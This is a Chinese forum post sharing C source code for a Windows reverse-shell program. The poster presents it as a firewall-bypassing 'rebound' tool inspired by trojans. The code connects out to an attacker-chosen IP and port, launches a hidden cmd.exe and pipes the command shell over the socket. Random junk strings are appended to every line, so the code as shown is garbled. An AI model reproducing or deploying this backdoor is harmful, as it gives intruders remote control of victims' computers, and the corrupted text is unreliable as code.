社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5891阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 MIvAugUOl  
`oP :F[B  
/* ============================== nsFOtOdd  
Rebound port in Windows NT L A-H  
By wind,2006/7 |f1 S&b.  
===============================*/ WGFp<R  
#include {pMbkA Q@  
#include aOWW ..|  
j|"#S4IX)F  
#pragma comment(lib,"wsock32.lib") LcS\#p#s]  
e9/:q"*)/  
void OutputShell(); VqqI%[!Aw  
SOCKET sClient; DdDO.@-Z  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ve[` 0  
eAN]*: ]g  
void main(int argc,char **argv) s^+h>  
{ P F#+G;q;  
WSADATA stWsaData; FWI<_KZ O  
int nRet; ]s-;*o\H  
SOCKADDR_IN stSaiClient,stSaiServer; x? 3U3\W  
NNSHA'F,.\  
if(argc != 3) C o v,#j j  
{ @qk$ 6X  
printf("Useage:\n\rRebound DestIP DestPort\n"); <?'d \B  
return; O?e38(  
}  nN1\  
Yy`\??,  
WSAStartup(MAKEWORD(2,2),&stWsaData); p2 u*{k{  
9}4P%>_  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /NfuR$oMd  
}SYR)eE\  
stSaiClient.sin_family = AF_INET; /.r|ron:e  
stSaiClient.sin_port = htons(0); :U_k*9z}=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !_CBf#0  
_$%.F| :  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _7r<RZ  
{ :N$^x /{  
printf("Bind Socket Failed!\n"); vgY ) L  
return; FrBoE#  
} 6lw)L  
l"^'uGB'  
stSaiServer.sin_family = AF_INET; Oz(0$c  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); NrH2U Jm  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); FJo  ?~  
_u TaN  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) -t~l!! N(  
{ ApHs`0=(  
printf("Connect Error!"); +{U0PI82  
return; A\p'\@f  
} c,nE@~ul2  
OutputShell(); Hx[YHu KL^  
} ax$ashFO/!  
E~vM$$O$  
void OutputShell() tY~gn|M  
{ wSoIU,I  
char szBuff[1024]; o1C1F}gxU  
SECURITY_ATTRIBUTES stSecurityAttributes; Ji4xor  
OSVERSIONINFO stOsversionInfo; Cw7 07  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B1)gudP`  
STARTUPINFO stStartupInfo; {3n|=  
char *szShell; 4po zTe  
PROCESS_INFORMATION stProcessInformation; n{sF'n</  
unsigned long lBytesRead; {FRUB(68b  
,aOi:aaZRT  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^o&3+s} M  
G J"S*30  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); gDbj!(tm  
stSecurityAttributes.lpSecurityDescriptor = 0; dsck:e5agZ  
stSecurityAttributes.bInheritHandle = TRUE; V4I5PPz~  
| a001_Wv  
50r3Kl0  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); u#(VR]u\7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {Q9?Q?  
'J\nvNm  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); jb;!"HC  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]@E_Hx{S  
stStartupInfo.wShowWindow = SW_HIDE; -PXRd)~  
stStartupInfo.hStdInput = hReadPipe; {*utke]}*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O[%"zO"S  
&V/n!|q<H  
GetVersionEx(&stOsversionInfo); vbEAd)*S  
/}+VH_N1  
switch(stOsversionInfo.dwPlatformId) \Ps}1)wT  
{ oz3N 8^M  
case 1: 2I'gT$h  
szShell = "command.com"; S -$ L2N  
break; $ 9bIUJ  
default: )F _vWbg  
szShell = "cmd.exe"; WUOoK$I~K  
break; A^lJlr:_`  
} sG-$d\ 1d  
8<V6W F`e  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); L#U-d zy\  
Ff6l"A5  
send(sClient,szMsg,77,0); +/xmxh$ $  
while(1) l~ 3H"  
{ s<3cvF<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Hq<Sg4nz  
if(lBytesRead) SURbH;[   
{ ogD 8qrZ6J  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); dH]0 (aJ  
send(sClient,szBuff,lBytesRead,0); Z;M}.'BE  
} 581Jp'cje  
else  TA;r  
{ ."`mh&+`  
lBytesRead=recv(sClient,szBuff,1024,0); z~Zu >Q1u[  
if(lBytesRead<=0) break; NTq#'O) f  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2@7f^be  
} \Af25Mcf:  
} Qm9r>m6p@N  
W5 l)mAv  
return; iczJXA+  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八